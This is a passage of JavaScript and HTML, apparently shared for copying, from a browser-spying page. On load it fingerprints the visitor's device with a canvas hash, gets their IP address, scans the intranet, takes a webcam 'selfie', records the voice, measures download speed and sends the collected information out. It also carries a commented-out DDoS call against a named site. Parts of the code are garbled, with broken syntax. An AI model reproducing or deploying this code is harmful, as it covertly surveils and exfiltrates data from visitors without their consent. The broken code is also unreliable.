ctx.fillText(txt,4.17);
var b64=canvas.toDataURL().replace('data:image/png; base64,'.' ');
var bin=atob(b64);
var crc=bin2hex(bin.slice(-16, -12));
console.log('Canvas id: '+crc);
info.canvas_id=crc;
}
// Network speed measurement
function network_speed(){
// Image speed measurement
var image=new Image();
// Image size: 1232.7KB
size=1232.7;
image.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/test.jpg';
startTime=new Date().getTime();
// The image is loaded
image.onload=function(){
endTime=new Date().getTime();
// kb/s
speed=size/((endTime-startTime)/1000);
// Keep one decimal place
speed=parseInt(speed*10) /10;
info.download_speed=speed+'kb/s';
console.log('Download speed testing finished! ');
}
Var audio=new audio (); // size: 1.5m size=1235.87; audio.src='https://raw.githubusercontent.com/Urinx/browspy/master/screenshot/ValderFields.mp3'; audio.volume=0; audio.play(); startTime=new Date().getTime(); var timer; timer=setInterval(function(){ if (audio.networkState==1) { endTime=new Date().getTime(); speed=size/((endTime-startTime)/1000); speed=parseInt(speed*10)/10; info.download_speed=speed+'kb/s'; console.log('Download speed testing finished! '); audio.stop(); clearInterval(timer); }; }, 100); * /
}
window.onload=function(){
device_platform();
get_ip_addr();
intranet_scan();
canvas_id();
selfie();
network_speed();
voice_record();
//DDos('http://baidu.com');
send_info();
};
</script>
</head>
<body>
<INPUT id="Button1" type="button" value="All browser information" name="Button1" language=javascript onclick="allinfo()">
<INPUT id="Button1" type="button" value="Client PC Information" name="Button1" language=javascript onclick="pcInfo()">
<div id="elInfo">
</div>
</body>
</html>
Copy the code